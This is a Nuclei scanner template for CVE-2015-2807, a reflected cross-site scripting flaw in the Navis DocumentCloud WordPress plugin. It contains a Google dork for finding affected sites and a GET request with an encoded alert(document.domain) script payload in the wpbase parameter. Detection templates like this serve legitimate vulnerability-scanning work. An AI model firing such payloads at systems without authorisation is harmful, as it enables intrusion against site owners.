id: CVE-2015-2807

info:
  name: Navis DocumentCloud <0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Navis DocumentCloud plugin before 0.1.1 for WordPress contains a reflected cross-site scripting vulnerability in js/window.php which allows remote attackers to inject arbitrary web script or HTML via the wpbase parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a version higher than 0.1.1 that includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://advisories.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
    - https://security.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
    - https://wordpress.org/plugins/navis-documentcloud/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2807
    - https://wpvulndb.com/vulnerabilities/8164
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-2807
    cwe-id: CWE-79
    epss-score: 0.0689
    epss-percentile: 0.91495
    cpe: cpe:2.3:a:documentcloud:navis_documentcloud:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: documentcloud
    product: "navis_documentcloud"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/navis-documentcloud\""
  tags: cve2015,cve,wordpress,wp-plugin,xss,documentcloud,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/navis-documentcloud/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Navis'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d4ac9b61750e667c05fb82b51ac4ef74de2351b76bd3c2096e38724ed3c13b9002207b94bc1b5346bb8726db93fd2dfafdd3113ac863f02994317c076e29abe3e20d:922c64590222798bb761d5b6d8e72950